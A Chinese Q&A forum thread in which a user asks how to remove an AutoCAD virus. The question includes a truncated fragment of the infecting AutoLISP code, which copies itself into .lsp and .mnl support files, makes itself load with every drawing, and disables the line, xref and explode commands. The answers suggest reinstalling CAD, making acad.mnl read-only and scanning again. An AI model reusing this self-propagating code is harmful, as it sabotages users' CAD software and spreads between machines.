Question

CAD打开后出现函数错误

CAD函数打开之后出现以下代码，用的是CAD2004版本 以前没有这种情况 做完图在另一电脑的2007CAD里用过之后 再用这台电脑打开就带这些函数了 360显示6个木马 删除重启后还是有 重新安装了CAD打开还是有 不知道还有什么方法能去掉吗？
e (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
);while
(setvar "sdi" 1)
(setvar "ACADLSPASDOC" 1)
(command "undefine" "line")
(command "undefine" "_line")
(command "undefine" "xref")
(command "undefine" "_xref")
(command "undefine" "explode")
(command "undefine" "_explode")
(setvar "cmdecho" 1)
(princ)
(load "acadapp")
(princ)
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
后边还好多好多代码 受字数限制 发不出来了。。

Answer 1

估计中毒了 你先重装下CAD然后在C盘打开
C:\Documents and Settings\Administrator\Application Data\Autodesk\AutoCAD 2007\R17.0\chs\Support 把acad.mnl这个文件的属性设置成只读的 要先设置啊 装好CAD做的第一件事就这个 估计以后就不会中acad.lsp、acadappp.lsp和acadapp.lsp之类的病毒了 而且Application Data是隐藏文件 注意啊 要不你找不到Application Data这个文件

Answer 2

可能是两个原因造成：1、CAD要重装。2、图纸中毒了，也重装吧。
建议装2006

Answer 3

你那电脑中毒还没被杀干净，要再杀一次!